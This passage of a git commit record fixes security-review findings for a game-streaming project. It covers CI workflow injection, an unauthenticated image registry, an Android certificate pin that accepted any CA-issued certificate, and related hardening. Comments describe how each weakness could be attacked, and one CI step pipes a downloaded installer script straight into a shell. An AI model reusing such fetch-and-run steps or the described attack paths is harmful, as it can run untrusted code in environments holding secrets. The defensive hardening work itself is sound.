a path it would refuse to serve can no longer be persisted in the first place.

On Windows, the config-dir hardening was skipped exactly when it was needed —
it ran only in the branch that CREATES host.env, so the case it was written
for (a local user pre-created the directory and planted one) was the one case
it never ran in. It is now unconditional and first, an existing host.env is
re-owned, and the inheritable OWNER RIGHTS ACE that kept an attacker's files
theirs after the directory was re-owned is gone. The identity and token
readers were hardening the directory only on the path that GENERATED a new
secret, so a planted cert/key or token was adopted verbatim and permanently;
they harden before the first read now.

`ensure_admin_only_source` is implemented. The 2026-07-05 audit recorded it as
FIXED and it was in no commit in this repository's history — the local EoP it
described was live, and it is the payload half of the config-dir chain above.

Also: the three input planes are bounded and lossy like the mic plane on the
same loop already was; Android's library client no longer accepts any
publicly-trusted certificate for the pinned host; the usbip vhci nodes get
their own group instead of riding on `input`, which every packaging scriptlet
tells users to join; a registry URL can no longer inject a TOML table into
bunfig.toml; the pairing cooldown is charged before the arming state is read,
so armed/disarmed is no longer a free oracle; and the whole Low tier, of which
the two worth naming are a clipboard MIME NUL that panicked the host on one
control message, and an unauthenticated global logout that let any LAN peer
sign the operator out on a loop.

NOT fixed, deliberately:

  H-3 (plugin UIs framed allow-same-origin). Dropping allow-same-origin does
  not work: the document's origin goes opaque, its subresource requests are
  then cross-site, the SameSite=Lax session cookie is not sent, and every
  plugin asset 302s to /login. The "open in new tab" link is the same
  escalation with no iframe at all, so the sandbox attribute is not where this
  gets fixed either. It needs a second listener — a distinct origin that is
  still the same site — which changes the console's deploy model and wants
  on-glass validation. The mechanism and the dead end are written down at the
  iframe.

  H-6 registry authentication, whose other half lives in unom/infra. The
  in-repo halves are done: workflow_dispatch inputs no longer interpolate into
  run: blocks (one of them in the step holding UPDATE_MANIFEST_KEY), and the
  syft installer is pinned to its tag instead of main. Digest pinning is left
  until the registry is authenticated, because a tag — content-keyed or not —
  can simply be overwritten while anonymous pushes are accepted.

M-5 is half done: the oracle is closed, but binding the arming window needs
the console to learn the fingerprint first, which is a knock-then-bind flow
rather than an edit.

Verified: cargo fmt --all --check clean; cargo check --all-targets green on
Linux and on Windows (confirmed non-vacuous — a planted type error in
windows/install.rs fails the build); scripts/xcheck.sh windows check green;
cargo test -p punktfunk-host --bins 416 passed, the single failure being
gamestream::stream::tests::sender_delivers_batches, the known qemu-environmental
UDP-loopback flake that fails identically on clean main in the same container;
cargo test -p pf-clipboard 13 passed; web console typechecks.
2026-08-05 17:12:12 +02:00
73 changed files with 3419 additions and 370 deletions
+68
View File
@@ -0,0 +1,68 @@
#!/usr/bin/env bash
# Assert that a builder image's :latest is the SAME manifest as its content key, and
# re-point it when it isn't.
#
# This is what we do instead of pinning consumers by @sha256: digest
# (security-review-2026-08-05, H-6 — see the reasoning at the top of docker.yml). The
# content key is a hash of the ci/ tree, so "which image should :latest be?" has an
# answer derivable from the commit alone. Checking it on every run turns :latest from a
# tag someone remembered to move into a function of the tree.
#
# Two different things make them diverge and neither is distinguishable from here:
#
# - Someone overwrote :latest out of band. Post-fix that needs the push credential,
# but it is exactly the H-6 attack and it must not pass silently.
# - ci/ was reverted. The older key is already a cache hit, so nothing rebuilds and
# nothing re-points :latest — it stays on the newer build forever while every
# consumer pulls a builder that does not match the tree it is building. That bug
# predates this script.
#
# Both are repaired identically, so: repair, and shout. Failing the build instead would
# turn a legitimate revert into a red main with no way forward.
#
# Reads go to the anonymous port, the single write to the authenticated one.
set -euo pipefail
IMAGE="${1:?usage: reconcile-latest.sh <image> <content-key>}"
KEY="${2:?usage: reconcile-latest.sh <image> <content-key>}"
: "${CI_REGISTRY:?CI_REGISTRY not set}"
: "${CI_REGISTRY_PUSH:?CI_REGISTRY_PUSH not set}"
: "${CI_REGISTRY_PASSWORD:?CI_REGISTRY_PASSWORD not set}"
ACCEPT='Accept: application/vnd.docker.distribution.manifest.v2+json, application/vnd.oci.image.manifest.v1+json, application/vnd.oci.image.index.v1+json, application/vnd.docker.distribution.manifest.list.v2+json'
# Digest of a tag, or empty if the tag does not exist. Never fails the script itself —
# "missing" is a state this has to reason about, not an error to abort on.
digest_of() {
curl -sfI -H "$ACCEPT" "http://$CI_REGISTRY/v2/$IMAGE/manifests/$1" 2>/dev/null \
| tr -d '\r' | sed -n 's/^[Dd]ocker-[Cc]ontent-[Dd]igest: //p' || true
}
key_digest=$(digest_of "$KEY")
latest_digest=$(digest_of latest)
if [ -z "$key_digest" ]; then
echo "::error::$IMAGE:$KEY has no manifest — the build or push above did not land"
exit 1
fi
if [ "$key_digest" = "$latest_digest" ]; then
echo "$IMAGE:latest == :$KEY ($key_digest)"
exit 0
fi
echo "::warning::$IMAGE:latest did not match its content key :$KEY — re-pointing it. If ci/ was not just reverted, someone overwrote this tag out of band: check the registry access log on home-ci-core."
echo " was: ${latest_digest:-<no :latest tag>}"
echo " wanted: $key_digest (:$KEY)"
tmp=$(mktemp)
trap 'rm -f "$tmp"' EXIT
media_type=$(curl -sfI -H "$ACCEPT" "http://$CI_REGISTRY/v2/$IMAGE/manifests/$KEY" \
| tr -d '\r' | sed -n 's/^[Cc]ontent-[Tt]ype: //p')
curl -sf -H "$ACCEPT" -o "$tmp" "http://$CI_REGISTRY/v2/$IMAGE/manifests/$KEY"
curl -sf -u "ci:$CI_REGISTRY_PASSWORD" -X PUT -H "Content-Type: $media_type" \
--data-binary @"$tmp" "http://$CI_REGISTRY_PUSH/v2/$IMAGE/manifests/latest"
now=$(digest_of latest)
[ "$now" = "$key_digest" ] || { echo "::error::re-point failed: :latest is $now"; exit 1; }
echo "$IMAGE:latest re-pointed to $key_digest"
+19 -2
View File
@@ -41,9 +41,23 @@ jobs:
env:
REGISTRY_TOKEN: ${{ secrets.REGISTRY_TOKEN }}
UPDATE_MANIFEST_KEY: ${{ secrets.UPDATE_MANIFEST_KEY }}
# Through the ENVIRONMENT, never interpolated into the script body. A `${{ }}` expansion
# is a raw textual substitution performed BEFORE the shell sees the line, so a
# workflow_dispatch input containing shell syntax executes as this step — and this is the
# step holding UPDATE_MANIFEST_KEY, the Ed25519 key every host pins to decide whether an
# update is real (2026-08-05 review H-6). As `$INPUT_TAG` it is only ever data.
INPUT_TAG: ${{ inputs.tag }}
run: |
set -euo pipefail
TAG="${{ inputs.tag }}"
TAG="$INPUT_TAG"
# Shape-check before the value reaches a URL or a filename: tags are `vX.Y.Z[-suffix]`.
case "$TAG" in
v[0-9]*) ;;
*) echo "refusing to publish for a tag that is not vX.Y.Z: $TAG" >&2; exit 1 ;;
esac
case "$TAG" in
*[!A-Za-z0-9.+_-]*) echo "tag has characters no release tag has: $TAG" >&2; exit 1 ;;
esac
case "$TAG" in
*-*) echo "pre-release tag $TAG — not publishing to the stable update feed"; exit 0 ;;
esac
@@ -67,4 +81,7 @@ jobs:
GITEA_TOKEN: ${{ secrets.REGISTRY_TOKEN }}
DISCORD_RELEASE_WEBHOOK: ${{ secrets.DISCORD_RELEASE_WEBHOOK }}
ALLOW_PRERELEASE: ${{ inputs.allow_prerelease }}
run: bash scripts/ci/discord-announce.sh "${{ inputs.tag }}"
# Same reasoning as the publish step above: the input is data in the environment, never
# text spliced into the command line.
INPUT_TAG: ${{ inputs.tag }}
run: bash scripts/ci/discord-announce.sh "$INPUT_TAG"
+6 -1
View File
@@ -29,4 +29,9 @@ jobs:
steps:
- uses: actions/checkout@v4
- name: Tier-3 GPU stream benchmark
run: bash scripts/bench/gpu-stream.sh "${{ inputs.mode || '1920x1080x120' }}" 12
# Through the environment, not interpolated into the command line: a `${{ }}` expansion is
# substituted before the shell parses the line, so an input carrying shell syntax would run
# as this step (2026-08-05 review H-6).
env:
BENCH_MODE: ${{ inputs.mode || '1920x1080x120' }}
run: bash scripts/bench/gpu-stream.sh "$BENCH_MODE" 12
+4 -1
View File
@@ -46,7 +46,10 @@ env:
REGISTRY: git.unom.io
OWNER: unom
PACKAGE: punktfunk-decky # generic-registry package name
PLUGIN: punktfunk # plugin.json "name" == zip top-level dir
# The plugin's ON-DISK dir == the zip's top-level dir. Deliberately NOT plugin.json "name"
# (that is the brand-cased label Decky lists, and it locates a plugin by matching it, not by
# the folder) — see clients/decky/scripts/package.sh.
PLUGIN: punktfunk
jobs:
build-publish:
+107 -21
View File
@@ -3,13 +3,18 @@
# Two very different image families now:
#
# BUILDER images (punktfunk-rust-ci{,-noble,-arm64cross}, punktfunk-fedora{,44}-rpm)
# live on the LAN registry (home-ci-core, 192.168.1.58:5010 — unom/infra
# runners/ci-core/) and are CONTENT-KEYED: the tag is a hash of what they are built
# from (the ci/ tree, + rust-toolchain.toml for the cross image), and a build only
# happens when that key has no manifest yet. A push that doesn't touch ci/ costs one
# curl per image (~seconds), pushes nothing over the WAN, and mints no per-SHA tag
# debris on the runners — the failure mode that filled the fleet's disks. `:latest`
# is re-pushed alongside every new key and is what the consuming workflows pin.
# live on the LAN registry (home-ci-core — unom/infra runners/ci-core/) and are
# CONTENT-KEYED: the tag is a hash of what they are built from (the ci/ tree, +
# rust-toolchain.toml for the cross image), and a build only happens when that key
# has no manifest yet. A push that doesn't touch ci/ costs one curl per image
# (~seconds), pushes nothing over the WAN, and mints no per-SHA tag debris on the
# runners — the failure mode that filled the fleet's disks. `:latest` is re-pushed
# alongside every new key and is what the consuming workflows pin.
#
# READS come from :5010 and need no credential. WRITES go to :5011 and need
# CI_REGISTRY_PASSWORD. Same store behind both — a registry keys by repository name,
# not by the host:port the client used — so an image pushed to :5011 is the same
# image every consumer pulls from :5010.
#
# APP images (punktfunk-web, punktfunk-docs) are deployables: they keep going to the
# Gitea registry (git.unom.io) with :latest + :sha-<8> (+ :vX.Y.Z on tags), because
@@ -17,8 +22,38 @@
#
# Host and clients are intentionally NOT containerized (see CLAUDE.md "What's left").
#
# REGISTRY_TOKEN: repo Actions secret, a PAT with write:package scope (app images only —
# the LAN registry is unauthenticated inside the LAN).
# REGISTRY_TOKEN: repo Actions secret, a PAT with write:package scope (app images).
# CI_REGISTRY_PASSWORD: repo Actions secret, the LAN registry's push credential for user
# `ci`. Generated on ci-core into /srv/ci/stack/registry-secret; rotate in both places.
#
# --- security-review-2026-08-05 H-6, FIXED 2026-08-05 -------------------------------
# The registry used to accept anonymous pushes from any LAN peer, and every
# secret-bearing job in this repo runs INSIDE an image pulled from it. Attacker
# position #1 of the project's own threat model did not need to break any signing
# logic: push one tag, and the next android.yml run executes their code in the same job
# that does `echo "$RELEASE_KEYSTORE_BASE64" | base64 -d > release.jks`. Same shape for
# rpm.yml (RPM_GPG_PRIVATE_KEY) and android-promote.yml (SERVICE_ACCOUNT_JSON).
#
# The infra half is done (unom/infra runners/ci-core/): :5010 serves GET/HEAD only and
# refuses everything else with 405, :5011 demands basic auth on every request. The half
# in this file is done below: pushes and release-tag manifest PUTs authenticate.
#
# ⚠ On the second half as the review originally worded it — "pin consumers by @sha256:
# digest". We deliberately do something else, because after authentication the digest
# pin no longer buys what it was meant to buy. The set of people who can overwrite a tag
# is now exactly the set who can push to main and edit a pinned digest in this very
# file: a pin defends against nobody it did not already trust, while costing a
# two-commit dance on every ci/ change (~3x a month) during which consumers silently run
# a builder image that predates the ci/ change they are testing.
#
# What actually closes the residual gap — a tag quietly overwritten out of band — is
# making :latest a CHECKED function of the tree instead of a tag someone remembered to
# move. The "Reconcile :latest" step below asserts on every run that :latest and
# :ck-$KEY are the same digest, repairs it when they are not, and says so loudly. That
# catches an out-of-band overwrite on the next push to main, needs no churn, and fixes
# a real pre-existing bug on the side: reverting ci/ used to leave :latest pointing at
# the newer build forever. Revisit inline digest pins if the push credential ever leaves
# the maintainer trust set.
#
# Bootstrap note: consuming workflows pull <LAN>/punktfunk-rust-ci:latest, so the LAN
# registry must hold a seeded :latest once (done 2026-07-29 from the last Gitea-registry
@@ -42,7 +77,10 @@ on:
env:
REGISTRY: git.unom.io
OWNER: unom
# Read port (anonymous, GET/HEAD only) and write port (basic auth). Two doors onto
# one store; see the header.
CI_REGISTRY: 192.168.1.58:5010
CI_REGISTRY_PUSH: 192.168.1.58:5011
jobs:
builders:
@@ -98,21 +136,40 @@ jobs:
echo "hit=false" >> "$GITHUB_OUTPUT"
fi
# Tagged for the WRITE port: :5010 refuses a push outright, so a tag that names it
# can only fail. Consumers still pull the identical image from :5010.
- name: Build
if: steps.exists.outputs.hit == 'false'
# --pull is cheap now: base images come through the ci-core pull-through mirror.
run: |
docker build --pull ${{ matrix.buildargs }} \
-f "${{ matrix.dockerfile }}" \
-t "$CI_REGISTRY/${{ matrix.image }}:$KEY" \
-t "$CI_REGISTRY/${{ matrix.image }}:latest" \
-t "$CI_REGISTRY_PUSH/${{ matrix.image }}:$KEY" \
-t "$CI_REGISTRY_PUSH/${{ matrix.image }}:latest" \
ci
- name: Log in to the LAN registry
run: |
echo "$CI_REGISTRY_PASSWORD" | docker login "$CI_REGISTRY_PUSH" -u ci --password-stdin
env:
CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
- name: Push
if: steps.exists.outputs.hit == 'false'
run: |
docker push "$CI_REGISTRY/${{ matrix.image }}:$KEY"
docker push "$CI_REGISTRY/${{ matrix.image }}:latest"
docker push "$CI_REGISTRY_PUSH/${{ matrix.image }}:$KEY"
docker push "$CI_REGISTRY_PUSH/${{ matrix.image }}:latest"
# :latest must be whatever ci/ says it is, on every run — not only on the runs that
# happened to build. Two things break that: an out-of-band overwrite (the H-6
# attack, now only reachable by someone holding the push credential), and a plain
# revert of ci/, which leaves :latest on the newer build because the older key is
# already a cache hit and nothing re-points it. Both look identical from here and
# both are repaired the same way, so repair and shout rather than fail the build.
- name: Reconcile :latest with the content key
run: .gitea/scripts/reconcile-latest.sh "${{ matrix.image }}" "$KEY"
env:
CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
# A release pins reproducible builder images without any rebuild: copy the key's
# manifest to a vX.Y.Z tag via the registry API (no image bytes move).
@@ -124,8 +181,19 @@ jobs:
| tr -d '\r' | sed -n 's/^[Cc]ontent-[Tt]ype: //p')
curl -sf -H "$ACCEPT" -o /tmp/manifest.json \
"http://$CI_REGISTRY/v2/${{ matrix.image }}/manifests/$KEY"
curl -sf -X PUT -H "Content-Type: $MT" --data-binary @/tmp/manifest.json \
"http://$CI_REGISTRY/v2/${{ matrix.image }}/manifests/$GITHUB_REF_NAME"
curl -sf -u "ci:$CI_REGISTRY_PASSWORD" -X PUT -H "Content-Type: $MT" \
--data-binary @/tmp/manifest.json \
"http://$CI_REGISTRY_PUSH/v2/${{ matrix.image }}/manifests/$GITHUB_REF_NAME"
env:
CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
# Today the job container is ephemeral (the ubuntu-24.04 label is a docker://
# image), so the credential docker login wrote would die with it anyway. Don't
# make that a load-bearing assumption about a runner label somebody may change to
# a host runner later.
- name: Log out of the LAN registry
if: always()
run: docker logout "$CI_REGISTRY_PUSH" || true
# The aarch64 CROSS builder — a SEPARATE job because it is `FROM punktfunk-rust-ci:latest`
# (the LAN copy) and so must not race the matrix entry that publishes that base. Consumed
@@ -164,15 +232,26 @@ jobs:
run: |
docker build --pull \
-f ci/rust-ci-arm64cross.Dockerfile \
-t "$CI_REGISTRY/$IMAGE:$KEY" \
-t "$CI_REGISTRY/$IMAGE:latest" \
-t "$CI_REGISTRY_PUSH/$IMAGE:$KEY" \
-t "$CI_REGISTRY_PUSH/$IMAGE:latest" \
.
- name: Log in to the LAN registry
run: |
echo "$CI_REGISTRY_PASSWORD" | docker login "$CI_REGISTRY_PUSH" -u ci --password-stdin
env:
CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
- name: Push
if: steps.exists.outputs.hit == 'false'
run: |
docker push "$CI_REGISTRY/$IMAGE:$KEY"
docker push "$CI_REGISTRY/$IMAGE:latest"
docker push "$CI_REGISTRY_PUSH/$IMAGE:$KEY"
docker push "$CI_REGISTRY_PUSH/$IMAGE:latest"
- name: Reconcile :latest with the content key
run: .gitea/scripts/reconcile-latest.sh "$IMAGE" "$KEY"
env:
CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
- name: Tag for release
if: startsWith(github.ref, 'refs/tags/v')
@@ -182,8 +261,15 @@ jobs:
| tr -d '\r' | sed -n 's/^[Cc]ontent-[Tt]ype: //p')
curl -sf -H "$ACCEPT" -o /tmp/manifest.json \
"http://$CI_REGISTRY/v2/$IMAGE/manifests/$KEY"
curl -sf -X PUT -H "Content-Type: $MT" --data-binary @/tmp/manifest.json \
"http://$CI_REGISTRY/v2/$IMAGE/manifests/$GITHUB_REF_NAME"
curl -sf -u "ci:$CI_REGISTRY_PASSWORD" -X PUT -H "Content-Type: $MT" \
--data-binary @/tmp/manifest.json \
"http://$CI_REGISTRY_PUSH/v2/$IMAGE/manifests/$GITHUB_REF_NAME"
env:
CI_REGISTRY_PASSWORD: ${{ secrets.CI_REGISTRY_PASSWORD }}
- name: Log out of the LAN registry
if: always()
run: docker logout "$CI_REGISTRY_PUSH" || true
# Deployable app images — unchanged flow, Gitea registry, per-SHA + release tags.
apps:
+10 -2
View File
@@ -38,10 +38,18 @@ jobs:
with:
fetch-depth: 0
# Pinned syft (keep in sync with the version validated against this repo; bump deliberately).
#
# The BINARY version was pinned; the INSTALLER was not — it was fetched from `main` and piped
# into a shell, so whatever that branch happened to say at job time ran here, with the job's
# environment (2026-08-05 review H-6). Pinning the script to the same tag as the binary makes
# the whole step reproducible: bump the tag in both places together.
- name: Install syft
env:
SYFT_VERSION: v1.49.0
run: |
curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh \
| sh -s -- -b /usr/local/bin v1.49.0
set -euo pipefail
curl -sSfL "https://raw.githubusercontent.com/anchore/syft/${SYFT_VERSION}/install.sh" \
| sh -s -- -b /usr/local/bin "$SYFT_VERSION"
- name: Generate SBOM
run: |
git config --global --add safe.directory "$PWD"
@@ -26,13 +26,25 @@ import kotlin.math.roundToInt
* presentsWindow, presenterActive, feedP50Ms, codecP50Ms, skippedOverflowWindow]`. Every read
* is length-guarded, so an older native lib simply omits the lines it can't feed.
*
* The shown `display` and `end-to-end` numbers EXCLUDE the OS present floor (see [osFloorMs]) at
* every tier, and the detailed tier names what was excluded on its own line. The principle is the
* Apple client's: metrics report what Punktfunk controls, so the compositor's own latch and scanout
* — which no client can pace under — is reported rather than charged. It also stops the HUD reading
* worse than it is: the usual Android streaming overlays stop measuring at decode-complete, so a
* headline that carried the compositor's wait was compared against numbers that never contained it.
*
* The RAW figures are not lost — the native 1 Hz `pf.present` logcat line keeps `paceMs`, `latchMs`
* and `e2eMs` unshaved, so a HUD-off A/B and any cross-session comparison still work off the
* untouched numbers.
*
* [verbosity] selects how many lines render (each tier a superset of the last — see
* [StatsVerbosity]):
* - [StatsVerbosity.COMPACT] — one line, `fps · end-to-end ms · Mb/s` (+ a loss flag).
* - [StatsVerbosity.NORMAL] — the res/fps/Mb·s line, the end-to-end p50/p95 headline, and the
* reliability counters (1821) when nonzero.
* - [StatsVerbosity.DETAILED] — also the decoder label, the video-feed descriptor (1013), and the
* stage equation (14/15, split into `host + network` when the Phase-2 terms at 16/17 are nonzero).
* - [StatsVerbosity.DETAILED] — also the decoder label, the video-feed descriptor (1013), the
* stage equation (14/15, split into `host + network` when the Phase-2 terms at 16/17 are nonzero),
* and the excluded-floor line when one was measured.
* [StatsVerbosity.OFF] renders nothing. Older native layouts simply omit the lines they lack (the
* counter line falls back to the cumulative `lostTotal` at index 9 on a pre-window lib).
*/
@@ -95,9 +107,15 @@ internal fun StatsOverlay(
// equation gains its `display` term; otherwise (older lib / no callbacks) the endpoint
// honestly stays capture→decoded — the equation always tiles the headline interval.
val dispValid = s.size >= 26 && s[22] != 0.0
// The OS present floor this window (see [osFloorMs]) is excluded from every shown
// display / end-to-end number, at every tier — it is pipeline depth no client can pace
// under, so charging it to Punktfunk made our HUD read worse than clients that simply
// never measure it. 0.0 when unmeasured, which leaves the numbers exactly as raw as
// they were.
val floorMs = osFloorMs(s)
val tag = if (skew) "" else " (same-host clock)"
val (p50, p95, endpoint) = if (dispValid) {
Triple(s[24], s[25], "capture→displayed")
Triple(shave(s[24], floorMs), shave(s[25], floorMs), "capture→displayed")
} else {
Triple(s[2], s[3], "capture→decoded")
}
@@ -120,6 +138,11 @@ internal fun StatsOverlay(
// dropping/serializing, an fps deficit is upstream.
val split = s.size >= 30 && s[29] != 0.0 && (s[26] > 0 || s[27] > 0)
val displayTerm = when {
// Floor excluded: what remains of the `display` term is the half Punktfunk
// owns (the presenter's pace wait), and the excluded line below carries the
// latch — printing the split too would report the same milliseconds twice.
dispValid && floorMs > 0 ->
" + display ${"%.1f".format(shave(s[23], floorMs))}"
dispValid && split ->
" + display ${"%.1f".format(s[23])} " +
"(pace ${"%.1f".format(s[26])} + latch ${"%.1f".format(s[27])})"
@@ -143,16 +166,14 @@ internal fun StatsOverlay(
"= $hostTerms + $decodeTerm$displayTerm$presents",
Color.White,
)
// Metric fairness: the Apple client's HUD shaves ~2 refresh periods of OS
// pipeline floor off its shown display/end-to-end; Android shows raw. This twin
// applies the same shave so iPhone↔Android HUD numbers compare directly.
if (dispValid && hz > 0) {
val shave = 2000.0 / hz
// What the numbers above leave out, named — the Apple client's
// `os present +N excluded` line, same wording so the two HUDs read alike.
// (This replaces the old "≈ Apple-HUD equiv" twin: both clients now shave, and
// Android's shave is measured rather than assumed at 2 refresh periods.)
if (floorMs > 0) {
statLine(
"≈ Apple-HUD equiv: end-to-end " +
"${"%.1f".format((s[24] - shave).coerceAtLeast(0.0))} · display " +
"${"%.1f".format((s[23] - shave).coerceAtLeast(0.0))} (2 refresh)",
Color(0xFFA8D8B8),
"os present +${"%.1f".format(floorMs)} excluded (display pipeline minimum)",
Color(0xFF9AA6B8),
)
}
}
@@ -167,6 +188,37 @@ private fun statLine(text: String, color: Color) {
Text(text, color = color, fontFamily = FontFamily.Monospace, fontSize = 12.sp)
}
/**
* The OS present floor to exclude from the shown `display` / `end-to-end` numbers, ms — the
* measured `latch` p50 at index 27, i.e. release→`OnFrameRendered`: SurfaceFlinger's own latch and
* scanout. That is compositor pipeline depth no client can pace under, so it is reported as
* excluded rather than charged to Punktfunk — the Apple client's policy since its presentation
* rebuild, where the same floor is measured from the display link's vend lead.
*
* Measured, not assumed: the previous Android treatment used a fixed `2000/hz` twin, but the latch
* varies with panel rate, tunnelled playback and the vendor's low-latency mode (~21 ms p50 observed
* where the ~2-interval model predicts less), and this term self-adapts to all three. It is also
* available on every render path — the presenter's and both legacy release-immediately ones — since
* the release stamp it starts from is parked on every render, so it does not depend on
* `presenterActive` (29).
*
* `0.0` means unmeasured — no display stage this window (an older native lib, API < 33, or a
* platform that refused the callback), or no latch sample paired — and every caller then leaves its
* number raw, which is the honest fallback: we exclude only what we actually measured.
*/
private fun osFloorMs(s: DoubleArray): Double {
val dispValid = s.size >= 26 && s[22] != 0.0
if (!dispValid || s.size < 28) return 0.0
return s[27].coerceAtLeast(0.0)
}
/**
* Subtract the excluded [floorMs] from a shown latency [ms], clamped at zero — the percentiles are
* drawn from different sample sets (a p50 latch against a p50/p95 end-to-end), so the difference can
* legitimately go slightly negative on a well-paced window without anything being wrong.
*/
private fun shave(ms: Double, floorMs: Double): Double = (ms - floorMs).coerceAtLeast(0.0)
/**
* The single [StatsVerbosity.COMPACT] line: `238 fps · 1.3 ms · 921 Mb/s`. The end-to-end p50 term
* is dropped when no in-range latency sample landed (`latValid` false), and a loss flag
@@ -174,8 +226,9 @@ private fun statLine(text: String, color: Color) {
* one reliability signal worth surfacing even at the tersest tier.
*/
private fun compactLine(s: DoubleArray, latValid: Boolean): String {
// Prefer the capture→displayed end-to-end (s[24]) when a render timestamp landed this window.
val e2eP50 = if (s.size >= 26 && s[22] != 0.0) s[24] else s[2]
// Prefer the capture→displayed end-to-end (s[24]) when a render timestamp landed this window,
// less the excluded OS present floor — the same number the richer tiers headline.
val e2eP50 = if (s.size >= 26 && s[22] != 0.0) shave(s[24], osFloorMs(s)) else s[2]
val parts = buildList {
add("${s[0].roundToInt()} fps")
if (latValid) add("${"%.1f".format(e2eP50)} ms")
@@ -355,9 +355,11 @@ internal fun StreamScene(verbosity: StatsVerbosity = StatsVerbosity.DETAILED) {
// dispValid, displayP50, e2eDispP50, e2eDispP95].
// 10/9/16/1 = a 10-bit BT.2020 PQ (HDR) 4:2:0 feed so the DETAILED HUD renders its
// video-feed line; the display stage is valid (dispValid 1) so the headline is the
// directly-measured capture→displayed pair (1.8/2.6) and the Phase-2 stage terms
// (host 0.6 + network 0.3 + decode 0.4 + display 0.5) tile it, rendering the full split
// equation; the decoder label shows the ranked low-latency decoder. Light per-window loss
// directly-measured capture→displayed pair, less the excluded OS present floor (the 0.3
// latch p50) — 1.5/2.3 shown from 1.8/2.6 raw — and the Phase-2 stage terms
// (host 0.6 + network 0.3 + decode 0.4 + display 0.2) tile the shaved headline, with the
// `os present +0.3 excluded` line naming what came off; the decoder label shows the ranked
// low-latency decoder. Light per-window loss
// (lost 2 · skipped 1 · FEC 5 of 238) so the reliability line (NORMAL/DETAILED) and the
// compact loss flag both render.
StatsOverlay(
@@ -127,8 +127,14 @@ object LibraryClient {
* An OkHttpClient that presents the paired client cert and pins the host's self-signed cert by
* SHA-256(DER) — reused for BOTH the library fetch and the cover-art loads (so a paired client
* reaches the host's own art proxy). The pinning trust manager trusts the host by fingerprint and
* defers to normal public trust for any other origin (an external CDN URL); the hostname verifier
* accepts the pinned host (whose self-signed cert has no matching SAN) and defers otherwise.
* defers to normal public trust for any other origin (an external CDN URL).
*
* The two checks are only sound TOGETHER, and the composition is the point: the trust manager
* cannot fail closed on its own (it has no hostname, so it must let a CDN chain through), so the
* hostname verifier is what makes the pinned host pin-only. Loosen either and a publicly-trusted
* certificate for any name is accepted for the host — which is exactly what 2026-08-05 review M-2
* found. The host's own cert is self-signed with no matching SAN, so it can never satisfy the
* default verifier; the pin is its only credential, on purpose.
*/
fun mtlsHttpClient(certPem: String, keyPem: String, host: String, fpHex: String): OkHttpClient {
val clientCert = CertificateFactory.getInstance("X.509")
@@ -162,7 +168,26 @@ fun mtlsHttpClient(certPem: String, keyPem: String, host: String, fpHex: String)
val defaultVerifier = HttpsURLConnection.getDefaultHostnameVerifier()
val verifier = HostnameVerifier { hostname, session ->
hostname == host || defaultVerifier.verify(hostname, session)
if (hostname == host) {
// The PINNED host fails closed: only the pinned leaf is acceptable for this name.
//
// This used to be a bare `hostname == host`, which composed with the trust manager's
// system-CA fall-through into "any publicly-trusted certificate, for any name, is
// accepted for the pinned host" — the pin was decorative (2026-08-05 review M-2). A
// MITM with any free CA-issued cert intercepted the connection, received the client's
// mTLS IDENTITY certificate, and served attacker-chosen library JSON and art URLs.
// The Rust (`pf-client-core`) and Apple (`ClientTLS`) paths already fail closed here;
// only Android did not.
try {
sha256Hex((session.peerCertificates.firstOrNull() as? X509Certificate)?.encoded ?: return@HostnameVerifier false) == pinned
} catch (_: Exception) {
false
}
} else {
// Any other origin (an external CDN art URL) is ordinary public trust: the system
// trust manager validated the chain, and this checks the name against it.
defaultVerifier.verify(hostname, session)
}
}
return OkHttpClient.Builder()
+1 -1
View File
@@ -1,5 +1,5 @@
{
"name": "punktfunk",
"name": "Punktfunk",
"author": "enrico",
"flags": ["debug"],
"api_version": 1,
+3 -1
View File
@@ -12,7 +12,9 @@
set -euo pipefail
HERE="$(cd "$(dirname "$0")/.." && pwd)"
DECK="${DECK:?set DECK=deck@<ip>}"
NAME="$(python3 -c 'import json;print(json.load(open("'"$HERE"'/plugin.json"))["name"])')"
# The on-disk plugin DIR (what scripts/package.sh staged into out/), not plugin.json "name"
# that field is the brand-cased label Decky shows in its plugin list. See package.sh's header.
NAME=punktfunk
STAGE_LOCAL="$HERE/out/$NAME"
[ -d "$STAGE_LOCAL" ] || { echo "$STAGE_LOCAL missing — run scripts/package.sh first" >&2; exit 1; }
+8 -4
View File
@@ -5,9 +5,13 @@
# package.json,decky.pyi,LICENSE,README.md}
# out/punktfunk/ (the same tree, unzipped — rsync this with scripts/deploy.sh)
#
# Decky extracts the zip with --strip-components=1, so the single top-level dir MUST equal
# plugin.json "name". Run after `pnpm build` (or use `pnpm run package`). Host-agnostic: needs
# only bash, python3 and zip.
# The single top-level dir is the plugin's ON-DISK folder name (Decky extracts the zip as-is,
# so the dir in the zip becomes ~/homebrew/plugins/<dir>). It is deliberately NOT read from
# plugin.json "name": that field is the user-visible label ("Punktfunk", brand-cased, shown in
# Decky's plugin list) and Decky locates an installed plugin by MATCHING it, never by the folder
# name. Keeping the folder lowercase means a rename of the label can't strand the old directory
# next to a new one (which would show up as two plugins).
# Run after `pnpm build` (or use `pnpm run package`). Host-agnostic: needs only bash, python3 and zip.
set -euo pipefail
HERE="$(cd "$(dirname "$0")/.." && pwd)"
cd "$HERE"
@@ -15,7 +19,7 @@ cd "$HERE"
[ -f dist/index.js ] || { echo "dist/index.js missing — run 'pnpm build' first" >&2; exit 1; }
[ -f LICENSE ] || { echo "LICENSE missing (required by the Decky store)" >&2; exit 1; }
NAME="$(python3 -c 'import json;print(json.load(open("plugin.json"))["name"])')"
NAME=punktfunk # the on-disk plugin dir (see the header) — NOT plugin.json "name"
VER="$(python3 -c 'import json;print(json.load(open("package.json"))["version"])')"
STAGE="$(mktemp -d)"
+24 -2
View File
@@ -122,6 +122,25 @@ function advertMatchesSaved(a: DiscoveredHost, s: SavedHost): boolean {
);
}
/**
* The label a saved row shows.
*
* A saved record whose name IS its own address is a PLACEHOLDER, not a choice: `hosts add`
* falls back to the address when the pairing path had nothing better, so the row ends up
* captioned with the same string it already prints underneath. When the box is on the air it
* is advertising its actual hostname — prefer that, and the row reads "home-worker-5" instead
* of "192.168.1.21".
*
